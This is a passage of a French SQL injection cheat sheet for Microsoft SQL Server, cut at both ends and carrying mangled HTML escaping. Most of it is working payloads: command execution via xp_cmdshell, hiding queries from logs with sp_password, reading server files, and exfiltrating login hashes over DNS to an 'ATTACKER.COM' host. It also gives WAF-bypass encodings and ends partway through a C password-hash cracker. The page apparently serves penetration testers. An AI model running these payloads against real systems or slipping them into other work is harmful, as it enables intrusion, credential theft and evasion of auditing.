dans une table temporaire.<\/p>\n<p>[sql]IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME=&#8217;TMP_DB&#8217;) DROP TABLE TMP_DB DECLARE @a varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]&#8217;) AND OBJECTPROPERTY (id, N&#8217;IsExtendedProc&#8217;) = 1) BEGIN CREATE TABLE #xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int) INSERT #xp_cmdshell EXEC master..sp_configure &#8216;xp_cmdshell&#8217; IF EXISTS (SELECT * FROM #xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE #Data (dir varchar(8000)) INSERT #Data EXEC master..xp_cmdshell &#8216;dir&#8217; SELECT @a=&#8221; SELECT @a=Replace(@a+&#8217;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;br&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;\/font&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;font color=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;black&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&#8217;+dir,&#8217;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;dir&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&#8217;,&#8217;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;\/font&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;font color=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;orange&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&#8217;) FROM #Data WHERE dir&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;@a DROP TABLE #Data END ELSE SELECT @a=&#8217;xp_cmdshell not enabled&#8217; DROP TABLE #xp_cmdshell END ELSE SELECT @a=&#8217;xp_cmdshell not found&#8217; SELECT @a AS tbl INTO TMP_DB&#8211;[\/sql]R\u00e9cup\u00e9ration des r\u00e9sultats :<\/p>\n<p>[sql]&#8217; UNION SELECT tbl FROM TMP_DB&#8211;[\/sql]Suppression de la table temporaire :<\/p>\n<p>[sql]&#8217; DROP TABLE TMP_DB&#8211;[\/sql]<\/p>\n<h2>Proc\u00e9dures et fonctions sp\u00e9ciales<\/h2>\n<p>Il existe une multitude de fonctions et proc\u00e9dures natives \u00e0 MSSQL. Celles d&#8217;int\u00e9r\u00eats sont list\u00e9es par la suite :<\/p>\n<p><strong>Gestion du regedit au travers de MSSQL :<\/strong><\/p>\n<ul>\n<li>xp_regaddmultistring<\/li>\n<li>xp_regdeletekey<\/li>\n<li>xp_regdeletevalue<\/li>\n<li>xp_regenumkeys<\/li>\n<li>xp_regenumvalues<\/li>\n<li>xp_regread<\/li>\n<li>xp_regremovemultistring<\/li>\n<li>xp_regwrite<\/li>\n<\/ul>\n<p><strong>Gestion des services :<\/strong><\/p>\n<ul>\n<li>xp_servicecontrol<\/li>\n<\/ul>\n<p><strong>Gestion des m\u00e9dias :<\/strong><\/p>\n<ul>\n<li>xp_availablemedia<\/li>\n<\/ul>\n<p><strong>Gestion des ressources ODBC :<\/strong><\/p>\n<ul>\n<li>xp_enumdsn<\/li>\n<\/ul>\n<p><strong>Configuration de connexion :<\/strong><\/p>\n<ul>\n<li>xp_loginconfig<\/li>\n<\/ul>\n<p><strong>Cr\u00e9ation de fichiers CAB :<\/strong><\/p>\n<ul>\n<li>xp_makecab<\/li>\n<\/ul>\n<p><strong>\u00c9num\u00e9ration des domaines :<\/strong><\/p>\n<ul>\n<li>xp_ntsec_enumdomains<\/li>\n<\/ul>\n<p><strong>Terminaison de processus :<\/strong><\/p>\n<ul>\n<li>xp_terminate_process<\/li>\n<\/ul>\n<p><strong>Ecriture d&#8217;un fichier texte local :<\/strong><\/p>\n<ul>\n<li>sp_makewebtask<\/li>\n<\/ul>\n<p><strong>Ajout de nouvelles proc\u00e9dures\u00a0personnalis\u00e9es\u00a0:<\/strong><\/p>\n<p>MSSQL supporte le VBS et WSH via les ActiveX. Des proc\u00e9dures personnalis\u00e9es permettent ainsi d&#8217;effectuer n&#8217;importe quelle t\u00e2che sur le syst\u00e8me.<\/p>\n<p>[sql]sp_addextendedproc \u2018xp_xxx\u2019, \u2018c:\\temp\\x.dll\u2019<br \/>\nexec xp_xxx[\/sql]<\/p>\n<h2>Emp\u00eacher la journalisation des requ\u00eates<\/h2>\n<p>Le mot cl\u00e9 &#8220;sp_password&#8221; en terminaison d&#8217;une requ\u00eate permet de cacher les r\u00e9sultats de cette requ\u00eates au niveau des journaux (<em>logs<\/em>) T-SQL.<\/p>\n<ul>\n<li>sp_password<\/li>\n<\/ul>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]&#8217; AND 1=1&#8211;sp_password[\/sql]<strong>R\u00e9sultats :<\/strong><\/p>\n<blockquote><p>&#8212; &#8216;sp_password&#8217; was found in the text of this event.<br \/>\n &#8212; The text has been replaced with this comment for security reasons.<\/p><\/blockquote>\n<h2>Lecture de fichier du serveur<\/h2>\n<p>Les fichiers locaux du serveur peuvent \u00eatre lu au travers de MSSQL.<\/p>\n<p>[sql]<\/p>\n<p>CREATE TABLE mydata (line varchar(8000));<br \/>\nBULK INSERT mydata FROM &#8216;c:\\x.txt&#8217;;<\/p>\n<p>DROP TABLE mydata;<\/p>\n<p>[\/sql]<strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Les fichiers de base de donn\u00e9es locales sont stock\u00e9s dans un chemin pr\u00e9cis, celui-ci peut \u00eatre r\u00e9cup\u00e9r\u00e9 par les requ\u00eates:<\/li>\n<\/ul>\n<p>[sql]EXEC sp_helpdb master; \u2013location of master.mdf<br \/>\nEXEC sp_helpdb pubs; \u2013location of pubs.mdf[\/sql]<\/p>\n<h2>Requ\u00eates distantes<\/h2>\n<h3>Requ\u00eates Samba (MSSQL 2000, sans privil\u00e8ges)<\/h3>\n<p>[sql]declare @host varchar(800); select @host = name FROM master..syslogins; exec(&#8216;master..xp_getfiledetails &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;\\&#8217; + @host + &#8216;c$boot.ini&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;&#8217;);[\/sql]<\/p>\n<h3>Requ\u00eates Samba (MSSQL >= 2005, avec privil\u00e8ges)<\/h3>\n<p>[sql]declare @host varchar(800); select @host = name + &#8216;-&#8216; + master.sys.fn_varbintohexstr(password_hash) + &#8216;.ATTACKER.COM&#8217; from sys.sql_logins; exec(&#8216;xp_fileexist &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;\\&#8217; + @host + &#8216;c$boot.ini&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;&#8217;);[\/sql]<strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Les concat\u00e9nations de cha\u00eenes de sont pas autoris\u00e9es dans l&#8217;appel de la proc\u00e9dure, d&#8217;o\u00f9 l&#8217;utilisation de la variable @host.<\/li>\n<li>Voir \u00e9galement les fonctionnalit\u00e9s de <a title=\"SQLNinja\" href=\"http:\/\/sqlninja.sourceforge.net\/sqlninja-howto.html#ss2.11\" target=\"_blank\">DNS tunnel dans SQLNinja<\/a>.<\/li>\n<\/ul>\n<h2>Requ\u00eates empil\u00e9es<\/h2>\n<p>MSSQL supporte les requ\u00eates empil\u00e9es.<\/p>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]&#8217; AND 1=0 INSERT INTO ([column1], [column2]) VALUES (&#8216;value1&#8217;, &#8216;value2&#8217;);[\/sql]<\/p>\n<h2>Obscurcissement de requ\u00eates<\/h2>\n<h3>Caract\u00e8res interm\u00e9diaires de s\u00e9paration<\/h3>\n<p>Le tableau suivant d\u00e9crit les caract\u00e8res hexad\u00e9cimaux utilisables comme un espace blanc.<\/p>\n<table>\n<tbody>\n<tr>\n<td>01<\/td>\n<td>Start of Heading<\/td>\n<\/tr>\n<tr>\n<td>02<\/td>\n<td>Start of Text<\/td>\n<\/tr>\n<tr>\n<td>03<\/td>\n<td>End of Text<\/td>\n<\/tr>\n<tr>\n<td>04<\/td>\n<td>End of Transmission<\/td>\n<\/tr>\n<tr>\n<td>05<\/td>\n<td>Enquiry<\/td>\n<\/tr>\n<tr>\n<td>06<\/td>\n<td>Acknowledge<\/td>\n<\/tr>\n<tr>\n<td>07<\/td>\n<td>Bell<\/td>\n<\/tr>\n<tr>\n<td>08<\/td>\n<td>Backspace<\/td>\n<\/tr>\n<tr>\n<td>09<\/td>\n<td>Horizontal Tab<\/td>\n<\/tr>\n<tr>\n<td>0A<\/td>\n<td>New Line<\/td>\n<\/tr>\n<tr>\n<td>0B<\/td>\n<td>Vertical Tab<\/td>\n<\/tr>\n<tr>\n<td>0C<\/td>\n<td>New Page<\/td>\n<\/tr>\n<tr>\n<td>0D<\/td>\n<td>Carriage Return<\/td>\n<\/tr>\n<tr>\n<td>0E<\/td>\n<td>Shift Out<\/td>\n<\/tr>\n<tr>\n<td>0F<\/td>\n<td>Shift In<\/td>\n<\/tr>\n<tr>\n<td>10<\/td>\n<td>Data Link Escape<\/td>\n<\/tr>\n<tr>\n<td>11<\/td>\n<td>Device Control 1<\/td>\n<\/tr>\n<tr>\n<td>12<\/td>\n<td>Device Control 2<\/td>\n<\/tr>\n<tr>\n<td>13<\/td>\n<td>Device Control 3<\/td>\n<\/tr>\n<tr>\n<td>14<\/td>\n<td>Device Control 4<\/td>\n<\/tr>\n<tr>\n<td>15<\/td>\n<td>Negative Acknowledge<\/td>\n<\/tr>\n<tr>\n<td>16<\/td>\n<td>Synchronous Idle<\/td>\n<\/tr>\n<tr>\n<td>17<\/td>\n<td>End of Transmission Block<\/td>\n<\/tr>\n<tr>\n<td>18<\/td>\n<td>Cancel<\/td>\n<\/tr>\n<tr>\n<td>19<\/td>\n<td>End of Medium<\/td>\n<\/tr>\n<tr>\n<td>1A<\/td>\n<td>Substitute<\/td>\n<\/tr>\n<tr>\n<td>1B<\/td>\n<td>Escape<\/td>\n<\/tr>\n<tr>\n<td>1C<\/td>\n<td>File Separator<\/td>\n<\/tr>\n<tr>\n<td>1D<\/td>\n<td>Group Separator<\/td>\n<\/tr>\n<tr>\n<td>1E<\/td>\n<td>Record Separator<\/td>\n<\/tr>\n<tr>\n<td>1F<\/td>\n<td>Unit Separator<\/td>\n<\/tr>\n<tr>\n<td>20<\/td>\n<td>Space<\/td>\n<\/tr>\n<tr>\n<td>25<\/td>\n<td>%<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]S%E%L%E%C%T%01column%02FROM%03table;<br \/>\nA%%ND 1=%%%%%%%%1;[\/sql]<strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Le symbole pourcent &#8220;%&#8221; entre les caract\u00e8res d&#8217;un mot-cl\u00e9 n&#8217;est possible qu&#8217;au travers des applications web en ASP(x) (serveur IIS).<\/li>\n<\/ul>\n<p>Les caract\u00e8res suivants peuvent \u00e9galement servir de remplacement aux espaces blancs.<\/p>\n<table>\n<tbody>\n<tr>\n<td>22<\/td>\n<td>&#8220;<\/td>\n<\/tr>\n<tr>\n<td>28<\/td>\n<td>(<\/td>\n<\/tr>\n<tr>\n<td>29<\/td>\n<td>)<\/td>\n<\/tr>\n<tr>\n<td>5B<\/td>\n<td>[<\/td>\n<\/tr>\n<tr>\n<td>5D<\/td>\n<td>]<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]UNION(SELECT(column)FROM(table));<br \/>\nSELECT&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;table_name&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;FROM[information_schema].[tables];[\/sql]<\/p>\n<h3>Caract\u00e8res interm\u00e9diaires pour AND\/OR<\/h3>\n<table>\n<tbody>\n<tr>\n<td>01 &#8211; 20<\/td>\n<td>Range<\/td>\n<\/tr>\n<tr>\n<td>21<\/td>\n<td>!<\/td>\n<\/tr>\n<tr>\n<td>2B<\/td>\n<td>+<\/td>\n<\/tr>\n<tr>\n<td>2D<\/td>\n<td>&#8211;<\/td>\n<\/tr>\n<tr>\n<td>2E<\/td>\n<td>.<\/td>\n<\/tr>\n<tr>\n<td>5C<\/td>\n<td>\\<\/td>\n<\/tr>\n<tr>\n<td>7E<\/td>\n<td>~<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]SELECT 1FROM[table]WHERE\\1=\\1AND\\1=\\1;[\/sql]<strong>Remarques :<\/strong><\/p>\n<ul>\n<li>L&#8217;antislash n&#8217;est pas fonctionnel sous MSSQL 2000.<\/li>\n<\/ul>\n<h3>Encodage<\/h3>\n<p>Le transcodage permet de bypasser certains WAF\/IDS.<\/p>\n<h4>URL Encoding :<\/h4>\n<p>[sql]SELECT %74able_%6eame FROM information_schema.tables;[\/sql]<\/p>\n<h4>Double URL Encoding :<\/h4>\n<p>[sql]SELECT %2574able_%256eame FROM information_schema.tables;[\/sql]<\/p>\n<h4>Unicode Encoding :<\/h4>\n<p>[sql]SELECT %u0074able_%u6eame FROM information_schema.tables;[\/sql]<\/p>\n<h4>Invalid hex Encoding (ASP only) :<\/h4>\n<p>[sql]SELECT %tab%le_%na%me FROM information_schema.tables;[\/sql]<\/p>\n<h4>Hex encoding :<\/h4>\n<p>[sql]&#8217; AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);&#8211;[\/sql]<\/p>\n<h4>HTML Entities (\u00e0 valider) :<\/h4>\n<p>[sql]%26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%3B%26%2349%3B[\/sql]<\/p>\n<h4>Transcodage linguistique<\/h4>\n<p>Dans le cas de MSSQL et d&#8217;une injection via l&#8217;utilisation du mot cl\u00e9 &#8220;UNION&#8221;, si deux colonnes de cha\u00eenes de caract\u00e8res (du premier ensemble de la requ\u00eate et du second) ne s&#8217;av\u00e8rent pas dans le m\u00eame encodage linguistique (Japonnais, Russe, Turque&#8230;), alors une erreur peut \u00eatre lev\u00e9e.<\/p>\n<p>Pour pallier \u00e0 ce probl\u00e8me, MSSQL d\u00e9fini le mot cl\u00e9 &#8220;COLLATE&#8221; pour harmoniser l&#8217;encodage de sortie :<\/p>\n<p>[sql]SELECT dataRussian FROM myTable1 UNION ALL SELECT dataTurk COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM myTable2[\/sql]<\/p>\n<h2>Op\u00e9rateurs<\/h2>\n<table>\n<tbody>\n<tr>\n<td><code>AND<\/code><code><br \/>\n <\/code><\/td>\n<td>Logical AND<\/td>\n<\/tr>\n<tr>\n<td>=<\/td>\n<td>Assign a value (as part of a SET\u00a0statement, or as part of the\u00a0<code>SET\u00a0<\/code>clause in an\u00a0<code>UPDATE\u00a0<\/code>statement)<\/td>\n<\/tr>\n<tr>\n<td>BETWEEN &#8230; AND &#8230;<\/td>\n<td>Check whether a value is within a range of values<\/td>\n<\/tr>\n<tr>\n<td>&#038;<\/td>\n<td>Bitwise AND<\/td>\n<\/tr>\n<tr>\n<td>|<\/td>\n<td>Bitwise OR<\/td>\n<\/tr>\n<tr>\n<td>^<\/td>\n<td>Bitwise XOR<\/td>\n<\/tr>\n<tr>\n<td>\/<\/td>\n<td>Division operator<\/td>\n<\/tr>\n<tr>\n<td>=<\/td>\n<td>Equal operator<\/td>\n<\/tr>\n<tr>\n<td>>=<\/td>\n<td>Greater than or equal operator<\/td>\n<\/tr>\n<tr>\n<td>><\/td>\n<td>Greater than operator<\/td>\n<\/tr>\n<tr>\n<td>!><\/td>\n<td>No-greater than operator<\/td>\n<\/tr>\n<tr>\n<td>!<<\/td>\n<td>No-lesser than operator<\/td>\n<\/tr>\n<tr>\n<td><=<\/td>\n<td>Less than or equal operator<\/td>\n<\/tr>\n<tr>\n<td><<\/td>\n<td>Less than operator<\/td>\n<\/tr>\n<tr>\n<td>LIKE<\/td>\n<td>Simple pattern matching<\/td>\n<\/tr>\n<tr>\n<td>&#8211;<\/td>\n<td>Minus operator<\/td>\n<\/tr>\n<tr>\n<td>%<\/td>\n<td>Modulo operator<\/td>\n<\/tr>\n<tr>\n<td><code>!=\u00a0<\/code>,\u00a0<code><><\/code><\/td>\n<td>Not equal operator<\/td>\n<\/tr>\n<tr>\n<td><code>NOT\u00a0<\/code>,\u00a0<code>!<\/code><\/td>\n<td>Negates value<\/td>\n<\/tr>\n<tr>\n<td><code><\/code><code>OR<\/code><\/td>\n<td>Logical OR<\/td>\n<\/tr>\n<tr>\n<td>+<\/td>\n<td>Addition operator<\/td>\n<\/tr>\n<tr>\n<td>*<\/td>\n<td>Multiplication operator<\/td>\n<\/tr>\n<tr>\n<td>&#8211;<\/td>\n<td>Change the sign of the argument<\/td>\n<\/tr>\n<tr>\n<td><code><a href=\"http:\/\/msdn.microsoft.com\/fr-fr\/library\/ms173468\" target=\"_blank\">~<\/a><\/code><\/td>\n<td>Not bitwise<\/td>\n<\/tr>\n<tr>\n<td>ALL<\/td>\n<td>Logical AND on a set<\/td>\n<\/tr>\n<tr>\n<td><code><a href=\"http:\/\/msdn.microsoft.com\/fr-fr\/library\/ms189526.aspx\" target=\"_blank\">ANY<\/a>,\u00a0<a href=\"http:\/\/msdn.microsoft.com\/fr-fr\/library\/ms175064.aspx\" target=\"_blank\">SOME<\/a><\/code><\/td>\n<td>Logical OR on a set<\/td>\n<\/tr>\n<tr>\n<td>EXISTS<\/td>\n<td>True if under-request contains data<\/td>\n<\/tr>\n<tr>\n<td>IN<\/td>\n<td>True if operand equals at least one element of a set<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2><span style=\"font-size: 1.5em;\">Mots de passe<\/span><\/h2>\n<h3>Hachage<\/h3>\n<p><strong>MSSQL < 2012<\/strong><\/p>\n<p>Les mots de passe MSSQL sont hach\u00e9s \u00e0 partir de l&#8217;algorithme SHA1. Ils d\u00e9butent par le pr\u00e9fixe 0x0100. Les 8 octets suivants correspondent au sel (salt) et les 80 octets suivants sont en r\u00e9alit\u00e9s 2 hashs. Le premier hash de 40 octets est sensible \u00e0 la casse alors que le second est une version en majuscule. La taille finale avec le pr\u00e9fixe est de 94 caract\u00e8res.<\/p>\n<p>[bash]0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C0784B911D76BF4EB124550ACABDFD1457[\/bash]<strong>MSSQL 2012<\/strong><\/p>\n<p>Les hashs de la version 2012 d\u00e9butent par le pr\u00e9fixe 0x0200 et font 142 caract\u00e8res. L&#8217;algorithme SHA512 est utilis\u00e9 au lieu du SHA1 :<\/p>\n<p>[sql]SELECT\u00a0pwdencrypt(&#8216;password&#8217;); &#8212; internal MSSQL 2012 function<br \/>\nselect 0x0200+0xDEADBEEF+HASHBYTES(&#8216;SHA2_512&#8242;, CONVERT(VARBINARY,N&#8217;password&#8217;) + CAST(0xDEADBEEF AS VARBINARY(32))) &#8212; generic method with DEADBEEF as salt[\/sql]&nbsp;<\/p>\n<p>[bash]0x0200F8AD6746B48DC390E37F07597844806A9488D286E65E901CB1AA33AE425B8335E7C5858840105DA0AF14BD26AA3662EAF33E40ADABD0FECFCC740B5338497584697AA69F[\/bash]<\/p>\n<h4><span style=\"font-size: 1.17em;\">Cassage<\/span><\/h4>\n<p>Diff\u00e9rentes solutions permettent de tester la r\u00e9sistance des mots de passe MSSQL pour tous types de versions.<\/p>\n<ul>\n<li>Un module Metasploit pour John The Ripper est \u00e9galement disponible\u00a0<a title=\"JTR MSSQL Password Cracker\" href=\"http:\/\/www.metasploit.com\/modules\/auxiliary\/analyze\/jtr_mssql_fast\" target=\"_blank\">ici<\/a>.<\/li>\n<li><a title=\"HashCat\" href=\"http:\/\/hashcat.net\/hashcat\/#features-algos\" target=\"_blank\">Hashcat<\/a> prend en compte toutes les versions MSSQL.<\/li>\n<\/ul>\n<p>L&#8217;algorithme de brute-force des hashs de MSSQL 2000 en C est le suivant :<\/p>\n<p>[c]<br \/>\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/<br \/>\n\/\/<br \/>\n\/\/           SQLCrackCl<br \/>\n\/\/<br \/>\n\/\/           This will perform a dictionary attack against the<br \/>\n\/\/           upper-cased hash for a password. Once this<br \/>\n\/\/           has been discovered try all case variant to work<br \/>\n\/\/           out the case sensitive password.<br \/>\n\/\/<br \/>\n\/\/           This code was written by David Litchfield to<br \/>\n\/\/           demonstrate how Microsoft SQL Server 2000<br \/>\n\/\/           passwords can be attacked. This can be<br \/>\n\/\/           optimized considerably by not using the CryptoAPI.<br \/>\n\/\/<br \/>\n\/\/           (Compile with VC++ and link with advapi32.lib<br \/>\n\/\/           Ensure the Platform SDK has been installed, too!)<br \/>\n\/\/<br \/>\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/<br \/>\n#include &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;stdio.h&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;<br \/>\n#include &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;windows.h&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;<br \/>\n#include &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;wincrypt.h&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;<br \/>\nFILE *fd=NULL;<br \/>\nchar *lerr = &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;\\nLength Error!\\n&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;;<br \/>\nint wd=0;<br \/>\nint OpenPasswordFile(char *pwdfile);<br \/>\nint CrackPassword(char *hash);<br \/>\nint main(int argc, char *argv[])<br \/>\n{<br \/>\n\t         int err = 0;<br \/>\n\t    if(argc !=3)<br \/>\n\t              {<br \/>\n\t                        printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;\\n\\n*** SQLCrack *** \\n\\n&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;);<br \/>\n\t                        printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;C:\\\\&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;%s hash passwd-file\\n\\n&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;,argv[0]);<br \/>\n\t                        printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;David Litchfield (david@ngssoftware.com)\\n&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;);<br \/>\n\t                        printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;24th June 2002\\n&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;);<br \/>\n\t                        return 0;<br \/>\n\t              }<br \/>\n\t    err = OpenPasswordFile(argv[2]);<br \/>\n\t    if(err !=0)<br \/>\n\t     {<br \/>\n\t       return printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;\\nThere was an error opening the password file %s\\n&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;,argv[2]);<br \/>\n\t     }<br \/>\n\t    err = CrackPassword(argv[1]);<br \/>\n\t    fclose(fd);<br \/>\n\t    printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;\\n\\n%d&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;,wd);<br \/>\n\t    return 0;<br \/>\n}<br \/>\nint OpenPasswordFile(char *pwdfile)<br \/>\n{<br \/>\n\t    fd = fopen(pwdfile,&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;r&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;);<br \/>\n\t    if(fd)<br \/>\n\t              return 0;<br \/>\n\t    else<br \/>\n\t              return 1;<br \/>\n}<br \/>\nint CrackPassword(char *hash)<br \/>\n{<br \/>\n\t    char phash[100]=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;;<br \/>\n\t    char pheader[8]=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;;<br \/>\n\t    char pkey[12]=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;;<br \/>\n\t    char pnorm[44]=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;;<br \/>\n\t    char pucase[44]=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;;<br \/>\n\t    char pucfirst[8]=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;;<br \/>\n\t    char wttf[44]=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;;<br \/>\n\t    char uwttf[100]=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;;<br \/>\n\t    char *wp=NULL;<br \/>\n\t    char *ptr=NULL;<br \/>\n\t    int cnt = 0;<br \/>\n\t    int count = 0;<br \/>\n\t    unsigned int key=0;<br \/>\n\t    unsigned int t=0;<br \/>\n\t    unsigned int address = 0;<br \/>\n\t    unsigned char cmp=0;<br \/>\n\t    unsigned char x=0;<br \/>\n\t    HCRYPTPROV hProv=0;<br \/>\n\t    HCRYPTHASH hHash;<br \/>\nDWORD hl=100;<br \/>\nunsigned char szhash[100]=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;;<br \/>\nint len=0;<br \/>\nif(strlen(hash) !=94)<br \/>\n\t      {<br \/>\n\t              return printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;\\nThe password hash is too short!\\n&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;);<br \/>\n\t      }<br \/>\nif(hash[0]==0x30 &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp; (hash[1]== &#8216;x&#8217; || hash[1] == &#8216;X&#8217;))<br \/>\n\t      {<br \/>\n\t              hash = hash + 2;<br \/>\n\t              strncpy(pheader,hash,4);<br \/>\n\t              printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;\\nHeader\\t\\t: %s&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;,pheader);<br \/>\n\t              if(strlen(pheader)!=4)<br \/>\n\t                        return printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;%s&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;,lerr);<br \/>\n\t              hash = hash + 4;<br \/>\n\t              strncpy(pkey,hash,8);<br \/>\n\t              printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;\\nRand key\\t: %s&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;,pkey);<br \/>\n\t              if(strlen(pkey)!=8)<br \/>\n\t                        return printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;%s&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;,lerr);<br \/>\n\t              hash = hash + 8;<br \/>\n\t              strncpy(pnorm,hash,40);<br \/>\n\t              printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;\\nNormal\\t\\t: %s&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;,pnorm);<br \/>\n\t              